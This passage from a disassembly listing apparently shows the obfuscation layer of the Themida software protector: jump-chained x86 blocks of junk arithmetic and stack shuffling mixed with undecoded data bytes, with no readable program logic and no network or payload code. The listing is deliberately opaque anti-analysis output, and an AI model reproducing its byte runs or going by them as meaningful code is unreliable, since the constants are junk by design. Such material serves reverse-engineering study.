		jmp	loc_554AC7
; ---------------------------------------------------------------------------


loc_5617C8:				; CODE XREF: Themida_:0055B849j
		add	edi, 3FDE345Fh
		pop	edx
		push	ebx
		jmp	loc_55C7F3
; ---------------------------------------------------------------------------
		db 28h,	0EBh, 59h
		dd 0E950C328h, 0FFFF2DD9h, 6824248Bh, 6E8Eh, 52241489h
		dd 0FF9FDCE9h, 241C8BFFh, 0E904C483h, 0FFFF9099h
; ---------------------------------------------------------------------------


loc_5617FC:				; CODE XREF: Themida_:0055D41Bj
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		push	esi
		jmp	loc_552C94
; ---------------------------------------------------------------------------


loc_561809:				; CODE XREF: Themida_:0055C3BBj
		pop	ebx
		push	eax
		push	esp
		pop	eax
		jmp	loc_56030D
; ---------------------------------------------------------------------------
		dw 0DF01h
		dd 0FFC498E9h, 0A1C480FFh, 8841C480h, 24048BE2h, 4C481h
		dd 28B70000h, 0C008E7C0h, 0F78002E7h, 0E8D7E9F6h, 6855FFFFh
		dd 6055765Ah, 0FF495DE9h, 0C3815BFFh, 2A6F0093h, 0C1EB815Fh
		dd 81434C61h, 27A3B4C3h, 2C8153EAh, 0DB68D624h,	6FE95E19h
		dd 29FFFFCAh, 0B5E95BD8h
		db 16h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56186F:				; CODE XREF: Themida_:00552E3Dj
		mov	edx, [esp]
		jmp	loc_555635
; ---------------------------------------------------------------------------
		db 5Bh
		dd 348BF301h, 0E7895724h, 4C781h, 0C7810000h, 4, 0FFF2C7E9h
		dd 0BF5750FFh, 1B9445F8h, 3C8BF889h, 4C48124h, 31000000h
		dd 76E958C5h
		db 0FCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5618AB:				; CODE XREF: Themida_:0055F720j
		add	eax, edx
		mov	edx, [esp]
		add	esp, 4
		push	ebp
		jmp	loc_56468A
; ---------------------------------------------------------------------------


loc_5618BC:				; CODE XREF: Themida_:00565E07j
		xor	ebp, 7AB56033h
		xor	ebp, 0D34A8D88h
		add	edi, ebp
		pop	ebp
		jmp	loc_56717D
; ---------------------------------------------------------------------------
		dd 5E2434FFh, 56E28952h, 817CFDBEh, 61DBE937h, 0B850FFFFh
		dd 78FA027Fh, 0E9E9C229h
		db 1Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5618EF:				; CODE XREF: Themida_:0055CC71j
		push	eax
		mov	eax, 28D96D5Ah
		sub	eax, 4E1D1C8Ch
		push	ebp
		jmp	loc_562E38
; ---------------------------------------------------------------------------
		dd 665DEDB9h, 59CE0175h, 0EE81EE01h, 75665DEDh,	17BF575Dh
		dd 0E94BD106h, 0A68h
; ---------------------------------------------------------------------------


loc_56191C:				; CODE XREF: Themida_:005670AAj
		pop	ebx
		sub	ebx, 6932E722h
		mov	eax, ebx
		pop	ebx
		mov	ebx, eax
		pop	eax
		add	ebx, 0FFF9A011h
		add	edi, ebx
		pop	ebx
		jmp	loc_556868
; ---------------------------------------------------------------------------
		db 58h
		dd 8304C483h, 0D4E904C4h, 0F7FFFF67h, 0EEED81D5h, 100E99Fh
		dd 66DE9E9h, 0C6810000h, 4, 0FF1A01E9h,	242C89FFh, 4EC81h
		dd 2C890000h, 81E58924h, 4C5h, 9DE95200h, 57000053h, 0FFDF7FE9h
		dd 25F480FFh, 742968h, 241C8900h, 0A8E9A6B3h, 8B000044h
		dd 0C481240Ch, 4, 0E949C380h, 0FFFF168Bh
		db 59h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp]
		jmp	loc_5563C2
; ---------------------------------------------------------------------------


loc_5619B8:				; CODE XREF: Themida_:0055B0CFj
		add	edi, 25F24686h
		push	edi
		push	dword ptr [esp]
		jmp	loc_563BF9
; ---------------------------------------------------------------------------


loc_5619C7:				; CODE XREF: Themida_:00567678j
		inc	edi
		jmp	loc_556D66
; ---------------------------------------------------------------------------
		db 0E9h, 66h, 12h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5619D2:				; CODE XREF: Themida_:0055FD8Bj
		pop	esp
		jmp	loc_55A508
; ---------------------------------------------------------------------------
		dd 69085FBBh, 0A049E94Fh, 3EBDFFFFh, 815CCD76h,	0F9516FCDh
		dd 0E3C58127h, 814E796Fh, 5A7B84C5h, 0D9C58126h, 81611F5Ch
		dd 2A8EF2F5h, 5DE8013Bh, 2A001F05h, 296C057Ch, 0EC814FDBh
		dd 4, 0FFF610E9h, 1C77FFFFh, 6659669Dh,	9C241CD3h, 0FFFFA0E9h
		dd 895159FFh, 4C181E1h,	83000000h, 0C8704C1h, 71CAE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561A42:				; CODE XREF: Themida_:005556A9j
		add	edx, 4
		push	ecx
		mov	ecx, esp
		jmp	loc_55E029
; ---------------------------------------------------------------------------


loc_561A50:				; CODE XREF: Themida_:0055D866j
		sub	edx, ebx
		add	edx, 626A7534h
		push	edi
		mov	edi, 287724A0h
		neg	edi
		shr	edi, 7
		xor	edi, 6F953006h
		add	edx, 7DDF1D4Bh
		jmp	loc_5675A9
; ---------------------------------------------------------------------------


loc_561A74:				; CODE XREF: Themida_:005596C3j
		xchg	ecx, [esp]
		jmp	loc_5581B2
; ---------------------------------------------------------------------------
		dd 2434FF5Bh, 83243C8Bh, 966804C4h, 8900007Fh, 0E189240Ch
		dd 0FF18E6E9h, 240489FFh, 0E953C888h, 0FFFF5B4Eh, 4240483h
		dd 1E4BE9h, 4005AD00h, 56362B1Dh, 2B59E1BEh, 55F6813Eh
		dd 0E90C8C67h, 11B8h, 8350E689h, 3C8904ECh, 4BF24h, 0F8890000h
		dd 58C6015Fh, 0FFA1A8E9h, 0E9F131FFh, 567Dh
; ---------------------------------------------------------------------------


loc_561AE0:				; CODE XREF: Themida_:005669EAj
		xor	ebx, 7F0F71A1h
		xor	ebx, 59F7D5Fh
		and	ebx, 4AFA6AE1h
		and	ebx, 388464C7h
		jmp	loc_55A0A1
; ---------------------------------------------------------------------------


loc_561AFD:				; CODE XREF: Themida_:0055847Cj
		sub	edx, 9C92D35h
		mov	esi, [esp]
		jmp	loc_5596B7
; ---------------------------------------------------------------------------


loc_561B0B:				; CODE XREF: Themida_:00557B61j
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp]
		jmp	loc_56466D
; ---------------------------------------------------------------------------
		dd 2EC5C281h, 0C2014716h, 2EC5EA81h, 81584716h,	445E3EC2h
		dd 81C20175h, 445E3EEAh, 53BE5675h, 0F7562C67h,	6D8668DEh
		dd 4890000h, 3E1AB824h,	0D8F7308Ch, 0D8F7D0F7h,	0FF65CFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_561B59:				; CODE XREF: Themida_:00557BBDj
		mov	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		pop	edx
		jmp	loc_559484
; ---------------------------------------------------------------------------
aNsr		db '­éà]',0
		align 10h
		dd 0C281E289h, 4, 1A65E9h, 0B5516600h, 66EB2025h, 0E9240C8Bh
		dd 0FFFF8BB2h, 0BA7D390Dh, 31F0315Fh, 0F7F031C6h, 6441E9D6h
		dd 0E2C1FFFFh, 0E365E906h, 148BFFFFh, 4C48324h,	0FF8D5BE9h
		dd 0D1DDF7FFh, 68E581EDh, 811AD50Eh, 9134E8F5h,	1240E976h
		dd 6DE9FFFFh, 5DFFFF10h, 0DE94F581h, 9EE95604h
		db 8Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561BD7:				; CODE XREF: Themida_:0055E0D3j
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ebx
		pop	edx
		push	eax
		mov	eax, esp
		push	ecx
		jmp	loc_55C8EB
; ---------------------------------------------------------------------------
		db 40h,	0D1h, 0E8h
		dd 0C1FFC083h, 9BE907E8h
		db 74h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561BFB:				; CODE XREF: Themida_:00564759j
		push	59CBh
		mov	[esp], ecx
		mov	ecx, 65823C31h
		jmp	loc_55520F
; ---------------------------------------------------------------------------
		db 2Dh,	1, 0
		dd 0E0C10000h, 693A0D06h, 0AF2D5A8Bh, 170F3D4h,	0EF8158C7h
		dd 2E105B14h, 0FF60CCE9h, 0CF295CFFh, 5FBCE959h, 8B660000h
		dd 9B68240Ch, 89000075h, 0EC83243Ch, 24248904h,	0FF6E1EE9h
		dd 5EBC1FFh, 2AAD6850h,	0E9585289h, 0FFFFB4BBh,	4BA52h
		dd 0E9810000h, 0E9F28E4h, 0C181D101h, 0E9F28E4h, 529EE95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_561C76:				; CODE XREF: Themida_:0056541Cj
		add	esp, 4
		not	ebx
		inc	ebx
		push	ebx
		push	edx
		jmp	loc_552E3C
; ---------------------------------------------------------------------------
		dw 1068h
		dd 594F5B07h, 0E981D1F7h, 99558C27h, 8159CB89h,	0E6040CC3h
		dd 45EB874Ah, 0D3F7EB87h, 0C381D3F7h, 796D10C5h, 0BF1BF381h
		dd 0DE31DBBBh, 81241C8Bh, 4C4h,	0A4C58100h, 8139453Ah
		dd 8631E9EDh, 0E9F50144h, 0FFFF91D0h
; ---------------------------------------------------------------------------


loc_561CD0:				; CODE XREF: Themida_:0055D68Fj
		add	eax, 0FFFFFFFFh
		shr	eax, 3
		jmp	loc_559C60
; ---------------------------------------------------------------------------


loc_561CDD:				; CODE XREF: Themida_:00557EBFj
		mov	esi, [esp]
		add	esp, 4
		add	ebx, 15365F95h
		add	ebx, edi
		sub	ebx, 15365F95h
		push	ebp
		jmp	loc_557C98
; ---------------------------------------------------------------------------


loc_561CF7:				; CODE XREF: Themida_:0055C07Cj
		mov	cl, 0B5h
		sub	dl, cl
		jmp	loc_561EE5
; ---------------------------------------------------------------------------


loc_561D00:				; CODE XREF: Themida_:00563F3Ej
		add	edx, 12848FEh
		add	esi, edx
		jmp	loc_55F0F4
; ---------------------------------------------------------------------------
		db 68h,	0A9h, 0Dh
		dd 3C890000h, 50C3BF24h, 23E963AEh
		db 4Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561D1F:				; CODE XREF: Themida_:00553020j
		pop	eax
		pop	ebx
		jmp	loc_5668D3
; ---------------------------------------------------------------------------
		dw 0FA31h
		dd 95B9515Fh, 814AFE70h, 0EF2AA9F1h, 59CA2997h,	31E9E9h
		db 0
; ---------------------------------------------------------------------------


loc_561D3D:				; CODE XREF: Themida_:005650B7j
		mov	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	edx
		mov	edx, 32A32E5Ch
		jmp	loc_56733F
; ---------------------------------------------------------------------------
		db 54h
		dd 8124048Fh, 42404h, 815D0000h, 4C5h, 2A685600h, 89000018h
		dd 5ABD242Ch, 891A1B58h, 8E0AE9EEh, 0FF53FFFFh,	5B042474h
		dd 5C24048Fh, 8B24048Fh, 41E92424h, 0E9000038h,	0FFFF0EA4h
		dd 6FBF57h, 4E94137h, 0BDFFFF71h, 6F873E1Bh, 55DE829h
		dd 5AEAF286h, 560EE9h
		db 0
; ---------------------------------------------------------------------------


loc_561DB1:				; CODE XREF: Themida_:0056391Fj
		shr	esi, 4
		add	esi, 1
		push	ebx
		mov	ebx, 79DFE910h
		xor	esi, ebx
		pop	ebx
		jmp	loc_5568AE
; ---------------------------------------------------------------------------
		db 66h,	9, 4
		dd 5AE99C24h, 81FFFF33h, 166A8FEBh, 2EED817Dh, 119D844h
		dd 2EC581DDh, 5B19D844h, 5504C583h, 4B9DE9h, 2474FF00h
		dd 2434FF04h, 477BE9h, 0BB534A00h, 51885110h, 35DEE381h
		dd 0DBF705CFh, 4447E9h,	37A2BF00h, 47E944FEh, 5CFFFFA2h
		dd 594FE981h, 0BD55160Eh, 16FDEFD8h, 55FDBB53h,	0CB8114CEh
		dd 0A8F6CD0h, 6B55EB81h, 0D3F77885h, 0EB81DBF7h, 8A6EFD51h
		dd 3C75E981h, 0D9015FCBh, 3C75C181h, 295B5FCBh,	0CAE956E9h
		dd 68FFFFDBh, 5860h, 43CBE9h, 5E08900h,	4, 4BA52h, 0D0010000h
		dd 74FF505Ah, 8F580424h, 76E92404h
		db 8Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561E7F:				; CODE XREF: Themida_:005566E9j
		pop	ecx
		add	ecx, 2D5430D7h
		mov	eax, [esp]
		add	esp, 4
		xor	esi, ecx
		pop	ecx
		jmp	loc_55D415
; ---------------------------------------------------------------------------
		db 81h
		dd 265A95E1h, 1DF2E90Bh, 0EC83FFFFh, 24148904h,	857E5BBAh
		dd 9ABF572Eh, 295EDB19h, 0D5DE9FAh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_561EBA:				; CODE XREF: Themida_:005649FCj
		push	edi
		mov	edi, 4
		sub	esi, edi
		jmp	loc_5609F9
; ---------------------------------------------------------------------------


loc_561EC7:				; CODE XREF: Themida_:00565C15j
		mov	edx, 61F43483h
		jmp	loc_55CCC6
; ---------------------------------------------------------------------------
		db 0B9h, 8Ch, 0Fh
		dd 2DE91F0Dh, 80FFFF2Eh, 5166CCF3h, 2B37E9h
		db 0
; ---------------------------------------------------------------------------


loc_561EE5:				; CODE XREF: Themida_:00561CFBj
		pop	ecx
		add	dl, 0F8h
		mov	ecx, [esp]
		add	esp, 4
		sub	bl, dl
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		push	723E4BD6h
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55B615
; ---------------------------------------------------------------------------


loc_561F13:				; CODE XREF: Themida_:0055A830j
		push	18DFh
		mov	[esp], edx
		mov	edx, 2D4C0BC8h
		jmp	loc_55CC35
; ---------------------------------------------------------------------------


loc_561F25:				; CODE XREF: Themida_:00556343j
		mov	cx, [esp]
		jmp	loc_55E2E1
; ---------------------------------------------------------------------------


loc_561F2E:				; CODE XREF: Themida_:00553C35j
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp


loc_561F45:				; CODE XREF: Themida_:loc_55D72Cj
		push	6824h
		jmp	loc_55AF71
; ---------------------------------------------------------------------------


loc_561F4F:				; CODE XREF: Themida_:0055EF13j
		add	esi, 77D62B8h
		jmp	loc_55E186
; ---------------------------------------------------------------------------


loc_561F5A:				; CODE XREF: Themida_:00560DA4j
		sub	esi, 0AB27EEAEh
		mov	eax, esi
		jmp	loc_55DD72
; ---------------------------------------------------------------------------


loc_561F67:				; CODE XREF: Themida_:00567454j
		push	7974h
		jmp	loc_55D8D2
; ---------------------------------------------------------------------------
		db 31h,	0D8h, 5Bh
		dd 0FFA4A4E9h, 0F0EF80FFh, 0F8009B2Ch, 6D01E952h, 28FFFFFh
		dd 0FF0CABE9h, 241C8BFFh, 8904C483h, 78E95AD7h,	31FFFF7Bh
		dd 0E9C231D0h, 0FFFFA7C3h, 242C875Eh, 6624248Bh, 0E9240489h
		dd 0FFFF0C84h
; ---------------------------------------------------------------------------


loc_561FB4:				; CODE XREF: Themida_:00562B75j
		add	edx, 641A6C99h
		jmp	loc_555F82
; ---------------------------------------------------------------------------
		db 5Dh
		dd 8704C183h, 515C240Ch, 887FB252h, 0B7535AD1h,	66CFFE58h
		dd 9BB35352h, 305BDE88h, 148B66F7h, 2C48124h, 0C0000000h
		dd 0DFF604EFh, 8033B551h, 0DDF62BE5h, 8006C580h, 0ED8089F5h
		dd 0F7A4E9EEh, 0C87FFFFh, 14895C24h, 0E3895324h, 0FF7B9DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562011:				; CODE XREF: Themida_:0055918Aj
		push	ebp
		not	dword ptr [esp]
		pop	ebp
		xchg	ebp, [esp]
		pop	esi
		jmp	loc_563383
; ---------------------------------------------------------------------------
		db 51h
		dd 8001B652h, 0EEC0A0C6h, 0C0CEFE02h, 0E9E904E6h, 59FFFFDCh
		dd 2474FF57h, 48F5F04h,	8B665C24h, 54502404h, 0FFCDC3E9h
		dd 24048FFFh, 0E5E95B5Ch
		db 0Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562053:				; CODE XREF: Themida_:00567759j
		pop	esp
		jmp	loc_56507B
; ---------------------------------------------------------------------------
		db 5Bh,	0F7h, 0DBh
		dd 366CCB81h, 535515C0h, 7045B2BBh, 3BE9E96Bh, 0EB81FFFFh
		dd 38D66B2Fh, 241C875Fh, 6624248Bh, 9C243CD3h, 0FF9520E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562085:				; CODE XREF: Themida_:0055A5D1j
		pop	edi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_554BB3
; ---------------------------------------------------------------------------
		dw 1C87h
		dd 0EFC05C24h, 0ABCF8002h, 0FDB05052h, 0FF2D22E9h, 3128B9FFh
		dd 0F1817157h, 0AAE6E2Dh, 227CC981h, 9DE93D39h,	68FFFF40h
		dd 3755h, 56240C89h, 0FFBA03E9h, 5FD3BDFFh, 94BB2E63h
		dd 111ED1Ch, 4D9DE9EBh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5620E6:				; CODE XREF: Themida_:00555313j
		add	edi, ebx
		pop	ebx
		add	edi, 5C23358Fh
		sub	edi, 0C0EA068Fh
		jmp	loc_556070
; ---------------------------------------------------------------------------
		dw 0E6C1h
		dd 5EEC106h, 407B68h, 420AE900h, 96B90000h, 81365D63h
		dd 6B1A64E9h, 59CE29D0h, 37B3F681h, 53E927A5h, 66FFFFBEh
		dd 68240C8Bh, 4F94h, 54241489h,	8B2434FFh, 0C4832414h
		dd 0E0895004h, 405h, 3D3DE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562146:				; CODE XREF: Themida_:00560CC3j
		add	ebp, 4
		xor	ebp, [esp]
		jmp	loc_564CFB
; ---------------------------------------------------------------------------
		db 33h,	4, 24h
		dd 0FF557BE9h, 76B850FFh, 0D1267B4Ch, 0F110E9E8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562166:				; CODE XREF: Themida_:0055CBAFj
		add	edx, 67692954h
		push	ebp
		mov	ebp, 33D32D8Bh
		jmp	loc_56593F
; ---------------------------------------------------------------------------
		db 50h
		dd 6E243481h, 5E65771Eh, 1E6EF681h, 29586577h, 0F742E9F0h
		dd 0E7C0FFFFh, 0DFB65205h, 0F65AF728h, 1EB652DFh, 10E9F730h
		db 12h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5621A3:				; CODE XREF: Themida_:005590B6j
		sub	ebp, 4B3A69BAh
		push	esi
		jmp	loc_55978A
; ---------------------------------------------------------------------------
		db 0FFh
		dd 19E92434h, 0FDFFFF20h, 0A6852h, 148B0000h, 0E2895224h
		dd 4C281h, 0BE560000h, 30940D58h, 2229EE81h, 0E6812AC9h
		dd 0CEA6436h, 0ABB68h, 240C8900h, 0FFFF21E9h, 242489FFh
		dd 4240481h, 5D000000h,	4C581h,	0E9570000h, 258Dh, 662F3EB9h
		dd 59CF8970h, 57D7F74Fh, 0F7243487h, 243487D6h,	5F2404FFh
		dd 4F50CF81h, 0E956576Fh, 0FFFF6338h, 485BED81h, 0E5C100D2h
		dd 0E5F58105h, 45282379h, 0C7D7F581h, 95E90C5Eh, 8BFFFF27h
		dd 7A68240Ch, 8900006Bh, 95E9242Ch, 59000040h, 8853515Ah
		dd 5BDD88C3h, 88EB8853h, 0C8B5BDEh, 0E1895124h,	4C181h
		dd 0C1830000h, 240C8704h, 24048B5Ch, 8B04C483h,	0C481241Ch
		dd 4, 202768h, 240C8900h, 0C180DBB1h, 2536E90Dh, 0E953FFFFh
		dd 0FFFF6663h, 5C241C87h, 9853E954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5622A2:				; CODE XREF: Themida_:00553822j
		xchg	ecx, [esp]
		jmp	loc_5644E2
; ---------------------------------------------------------------------------


loc_5622AA:				; CODE XREF: Themida_:00565117j
		push	21F25ED0h
		pop	ecx
		mov	esi, ecx
		pop	ecx
		push	ebp
		jmp	loc_55F51A
; ---------------------------------------------------------------------------
		db 47h,	81h, 0C7h
		dd 0AD8C57EBh, 3C8BF829h, 4C48124h, 89000000h, 24048BC6h
		dd 4C481h, 53560000h, 2038A9BBh, 245C014Ah, 9EE95B04h
		dd 5D000051h, 5C24048Fh, 0E9C8B70Fh, 373Bh, 18A838BBh
		dd 5BDA0113h, 5C4FEB81h, 0D3294EB9h, 5C4FC381h,	95A4EB9h
		dd 34FF1C5Fh, 241C8B24h, 8104C483h, 4C4h, 916E900h, 0CA81FFFFh
		dd 9B72DBEh, 241AEA81h,	56503A14h, 0FFEA74E9h, 8CE951FFh
		dd 89FFFF5Ch, 4812424h,	424h, 2434FF00h, 0E924348Bh, 0FFFF6423h
; ---------------------------------------------------------------------------


loc_562350:				; CODE XREF: Themida_:00553D55j
		pop	esi
		push	esi
		mov	esi, 0FFFFFFFFh
		add	ebp, esi
		pop	esi
		push	eax
		mov	eax, 17938752h
		xor	ebp, eax
		push	dword ptr [esp]
		jmp	loc_55BC22
; ---------------------------------------------------------------------------
		dw 0C783h
		dd 243C8704h, 0FF3E6DE9h, 2434FFFFh, 2425E95Bh,	0E95D0000h
		dd 278Ah, 0C781DFF7h, 98B08BBh,	487AF781h, 81474136h, 0E31D0CE7h
		dd 8EF816Eh, 16C8008h, 0CC73E9FEh, 0B353FFFFh, 8364E910h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5623AE:				; CODE XREF: Themida_:005663ECj
		mov	ebx, [esp]
		jmp	loc_556AF9
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 4D180B82h, 6AC18149h, 0E91EA7F9h, 0FFFF270Ch
; ---------------------------------------------------------------------------


loc_5623C8:				; CODE XREF: Themida_:00556732j
		mov	[esp], esi
		push	esp
		pop	esi
		push	edi
		mov	edi, 4
		add	esi, edi
		pop	edi
		jmp	loc_5583A6
; ---------------------------------------------------------------------------
		db 29h
		dd 12B22DE8h, 0BD5547A0h, 7E600582h, 0FFE83CE9h, 58C781FFh
		dd 530D9278h, 81F843BBh, 0E9DF310Dh, 0FFFF3E3Dh
; ---------------------------------------------------------------------------


loc_562400:				; CODE XREF: Themida_:005571F3j
		pop	edi
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_552DE6
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0E0E9240Ch
		db 5, 2	dup(0)
; ---------------------------------------------------------------------------


loc_562417:				; CODE XREF: Themida_:00558112j
		push	edx
		jmp	loc_554BC4
; ---------------------------------------------------------------------------
		db 9, 0D5h, 0E9h
		dd 0FFFFC150h, 5020355Fh, 0BAE94C02h
		db 9Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56242F:				; CODE XREF: Themida_:005573ADj
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	ecx
		mov	ecx, 5AAC5FACh
		jmp	loc_5549E1
; ---------------------------------------------------------------------------
		db 89h
		dd 0E589242Ch, 4EC81h, 1C890000h, 4C5DE924h, 0D901FFFFh
		dd 83241C8Bh, 0C18104C4h, 28F149ECh, 0A9E9C101h
		db 48h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56246B:				; CODE XREF: Themida_:005577ECj
		push	ebx
		push	edx
		mov	edx, 2486038Bh
		mov	ebx, edx
		pop	edx
		or	esi, ebx
		pop	ebx
		add	esi, 3D3CC098h
		add	ebp, 0A20349h
		add	ebp, esi
		sub	ebp, 0A20349h
		pop	esi
		mov	eax, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		push	eax
		jmp	loc_5672C6
; ---------------------------------------------------------------------------
		db 81h
		dd 0EB28A6C2h, 0F049E975h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5624A6:				; CODE XREF: Themida_:00559835j
		mov	[esp], edx
		jmp	loc_55BD1D
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 1DE95157h, 68FFFFCFh, 5E0Eh, 52240C89h, 0FF7C9FE9h
		dd 81E289FFh, 4C2h, 4BD5500h, 1000000h,	0A24E9EAh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5624DE:				; CODE XREF: Themida_:00563A9Fj
		push	dword ptr [esp]
		pop	ebx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5531C8
; ---------------------------------------------------------------------------
		db 42h
		dd 0FFA8EEE9h, 81EE01FFh, 0D5587BEEh, 0EC815D4Fh, 4, 0FF243489h
		dd 0FF042474h, 835E2434h, 48F04C4h, 24248B24h, 9CC88566h
		dd 0FF070FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562529:				; CODE XREF: Themida_:00567C9Bj
		add	esp, 4
		shl	ecx, 7
		xor	ecx, 51A40000h
		jmp	loc_55CCB0
; ---------------------------------------------------------------------------


loc_56253D:				; CODE XREF: Themida_:0055FCC2j
		mov	eax, 45906AEBh
		add	eax, 0BA6F9519h
		add	ebx, eax
		jmp	loc_56293E
; ---------------------------------------------------------------------------


loc_56254E:				; CODE XREF: Themida_:00566200j
		add	ecx, 292A28A6h
		push	edi
		mov	edi, 6DD81FD9h
		push	ebp
		mov	ebp, 6C78EE54h
		sub	edi, ebp
		pop	ebp
		and	edi, 61DC0973h
		jmp	loc_5603F2
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 4C48324h, 5C243C87h,	0E99CC83Bh, 0FFFF06B8h
; ---------------------------------------------------------------------------


loc_562580:				; CODE XREF: Themida_:0055D1E2j
		add	edi, esi
		pop	esi
		jmp	loc_558A3F
; ---------------------------------------------------------------------------
		dd 23D3C781h, 0F80986B5h, 8E9555Fh, 31FFFFF8h, 52E92434h
		dd 0B9FFFF58h, 43324922h, 0F181D1F7h, 0DDE2E98Eh, 8159CB21h
		dd 9D51F8C3h, 0E026E926h, 48BFFFFh, 4C48324h, 0C8E9EB00h
		dd 0BEFFFFF3h, 0BCF369Ah, 0FF3BF1E9h, 405FFh, 0E2680000h
		dd 89000007h, 0C868242Ch, 5D60CF43h, 0E5C1D5F7h, 38E95706h
		dd 8BFFFFD7h, 0C483240Ch, 0B647E904h, 0EC81FFFFh, 4, 68243489h
		dd 7321h, 68240489h, 3AEA7B56h,	8BC68958h, 0C4812404h
		dd 4, 0B02BA52h, 0ADE90AFCh, 66FFFF8Ah,	8324048Bh, 48904ECh
		dd 11E95424h, 66FFFFD0h, 68240C8Bh, 7BC1h, 54243489h, 0FF6E6CE9h
		dd 243C89FFh, 490968h, 241C8900h, 0FF3420E9h, 895659FFh
		dd 0F2F0E9E6h, 0C89FFFFh, 0E9E18924h, 0FFFF9AA0h, 0D9C58145h
		dd 0E9135320h, 0FFFF60B3h, 8B665A66h, 49682414h, 8900001Bh
		dd 8B54243Ch, 0C481243Ch, 4, 57BF5755h,	0E9411C09h, 17B3h
; ---------------------------------------------------------------------------


loc_56269C:				; CODE XREF: Themida_:0055B2D6j
		add	esp, 4
		add	[esp+4], ecx
		jmp	loc_565CC3
; ---------------------------------------------------------------------------
		db 5
		dd 51DD25C6h, 0F32CE955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5626B6:				; CODE XREF: Themida_:00566835j
		add	edx, esi
		pop	esi
		jmp	loc_565C50
; ---------------------------------------------------------------------------
		dw 0EF81h
		dd 128A3D18h, 6825C781h, 0B9516245h, 6C653A83h,	316DE181h
		dd 0BF577B91h, 35B936C7h, 39B9C181h, 4E92C61h
		db 6Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5626E7:				; CODE XREF: Themida_:0055C9A2j
		mov	esp, [esp]
		push	ebp
		jmp	loc_554886
; ---------------------------------------------------------------------------
		dd 8E1C15Fh, 5E04F181h,	0CB8956E5h, 245C0159h, 0E1E95B04h
		dd 54FFFF07h, 4EC835Eh,	0E9240C89h, 0FFFF8438h,	4EC81h
		dd 24E90000h, 83FFFFFDh, 0EC8104C4h, 4,	89240489h, 405E0h
		dd 0E5E90000h
		db 0B8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562737:				; CODE XREF: Themida_:005651A0j
		or	eax, eax
		jz	loc_55806A
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		jmp	loc_55601D
; ---------------------------------------------------------------------------
		dw 0E983h
		dd 240C8704h, 2414895Ch, 50575A54h, 0A74A8168h,	24048B0Ah
		dd 0E904C483h, 0FFFF4EB1h, 895461BFh, 8E7C168h,	0FF9F5EE9h
		dd 0C68166FFh, 5665450h, 2966511Eh, 1E2D66F0h, 266DE951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56278A:				; CODE XREF: Themida_:0055FFDAj
		xor	esi, 837F9D09h
		xor	[esp+4], esi
		pop	esi
		push	dword ptr [esp]
		jmp	loc_56159E
; ---------------------------------------------------------------------------


loc_56279D:				; CODE XREF: Themida_:00560D1Cj
		sub	ebp, 55D25ED2h
		add	eax, 201534D2h
		add	eax, ebp
		sub	eax, 201534D2h
		jmp	loc_5615E2
; ---------------------------------------------------------------------------


loc_5627B4:				; CODE XREF: Themida_:00552E6Ej
		shl	al, 5
		or	al, 0FAh
		add	al, 95h
		mov	dh, al
		pop	eax
		and	dh, 0A8h
		add	dh, 0E8h
		push	ecx
		mov	ch, 69h
		jmp	loc_55BD83
; ---------------------------------------------------------------------------
		dd 42474FFh, 0B3ECE95Ah, 489FFFFh, 8391B024h, 1C8904ECh
		dd 0A509E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


